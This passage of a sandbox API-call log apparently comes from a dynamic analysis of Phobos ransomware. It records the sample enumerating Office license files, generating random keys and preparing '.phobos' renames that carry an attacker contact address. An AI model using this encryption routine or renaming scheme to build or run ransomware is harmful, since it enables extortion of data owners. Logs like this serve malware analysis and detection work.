lpFileSize=0x3e9fc88*=11621) returned 1 [0152.307] CloseHandle (hObject=0x564) returned 1 [0152.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0152.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.307] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.308] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19966) returned 1 [0152.308] CloseHandle (hObject=0x564) returned 1 [0152.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0152.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.308] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.309] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10667) returned 1 [0152.309] CloseHandle (hObject=0x564) returned 1 [0152.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0152.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.309] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.310] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22094) returned 1 [0152.310] CloseHandle (hObject=0x564) returned 1 [0152.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0152.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.310] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.311] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11621) returned 1 [0152.311] CloseHandle (hObject=0x564) returned 1 [0152.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0152.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.311] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.312] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19966) returned 1 [0152.312] CloseHandle (hObject=0x564) returned 1 [0152.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0152.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.312] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.313] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10667) returned 1 [0152.313] CloseHandle (hObject=0x564) returned 1 [0152.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0152.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.313] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.314] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22094) returned 1 [0152.314] CloseHandle (hObject=0x564) returned 1 [0152.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0152.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.314] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.315] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11621) returned 1 [0152.315] CloseHandle (hObject=0x564) returned 1 [0152.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0152.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.315] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.316] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19966) returned 1 [0152.316] CloseHandle (hObject=0x564) returned 1 [0152.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0152.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.316] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.317] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10655) returned 1 [0152.317] CloseHandle (hObject=0x564) returned 1 [0152.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0152.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.317] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.318] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22091) returned 1 [0152.318] CloseHandle (hObject=0x564) returned 1 [0152.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0152.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.318] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.318] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11609) returned 1 [0152.319] CloseHandle (hObject=0x564) returned 1 [0152.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0152.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.319] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.319] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19954) returned 1 [0152.319] CloseHandle (hObject=0x564) returned 1 [0152.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0152.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.320] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.320] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10659) returned 1 [0152.320] CloseHandle (hObject=0x564) returned 1 [0152.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0152.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.321] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.321] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22092) returned 1 [0152.321] CloseHandle (hObject=0x564) returned 1 [0152.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 